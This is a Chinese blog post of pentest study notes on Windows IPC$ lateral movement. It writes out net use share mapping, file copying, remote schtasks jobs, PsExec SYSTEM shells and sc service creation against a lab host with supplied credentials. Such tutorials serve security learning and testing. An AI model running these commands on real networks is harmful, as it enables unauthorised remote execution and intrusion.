之前面某公司的时候,面试官看我简历上写着会内网渗透就问了我一些关于ipc$的问题,可惜当时我的技术属实辣眼睛(现在也是),于是就有了这篇文章。
什么是IPC$
IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
IPC$有什么用
两台主机之间建立连接使其能够进行数据交换
使用条件
- 开放445、139端口
- 目标开启IPC$(默认开启)
- 获取用户账户和密码
- 关闭防火墙、杀软
- 用户账户密码不能为空
如果不关闭防火墙会出现下面的情况:
不关杀软会出现下面的情况:
密码为空则会提示用户帐户限制阻止了此用户进行登录。例如:不允许使用空密码,登录次数的限制,或强制实施的某个策略限制
。
使用
net share
查看是否共享(默认共享)
net use
查看所有连接
net use \\<IP>\ipc$ password /user:username
建立连接
net use * /del /y
删除所有连接
由于我的虚拟机只有一个盘,所以必须要管理员权限,否则提示拒绝访问。
net use q: \\192.168.80.140\c$ "你的密码" /user:"你的账户"
将192.168.80.140
的C盘映射到本机的q盘,如下:
copy a.txt \\192.168.80.140\c$
将a.txt传到靶机C盘
dir \\192.168.80.140\c$
查看目录下的文件(tree命令也可)
at命令
注意!该命令在winserver2008及以后的系统中(包括win10)已经废弃,改为了schtasks
schtasks
以schtasks /create /TN test /TR whoami /SC once /ST 14:57 /S "192.168.80.140" /u Administrator /p 123
这条语句为例。
1 | /create 创建定时任务 |
用schtasks /query /TN test
命令查询当前主机名为test的定时任务
利用schtasks /?
和schtasks /create ?
查询到的具体用法如下:
1 | SCHTASKS /parameter [arguments] |
psexec
建立IPC连接后执行命令:
PsExec64.exe -accepteula \\192.168.80.140 -s cmd.exe
(现已加入360豪华套餐)
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
1 | psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。 |
使用条件:
对方主机开启了
admin$
共享,如果关闭了admin$
共享,会提示:找不到网络名对方未开启防火墙和杀毒软件
如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
如果是域环境,既可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
也可以直接执行:
PsExec64.exe -accepteula \\192.168.80.140 -u WIN-U8TRGT93CTR\administrator -p <password> -s cmd.exe
命令详解:
1 | -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框 |
sc
sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc命令进行横向渗透的大体流程如下:
1.与靶机建立ipc连接
2.拷贝exe到主机系统上
3.在靶机上创建一个shell的服务
sc命令的用法为(建立IPC$连接):
1 | sc \\192.168.80.140 create test binpath= "c:\\artifact.exe" |
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/10/15/IPC测试/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!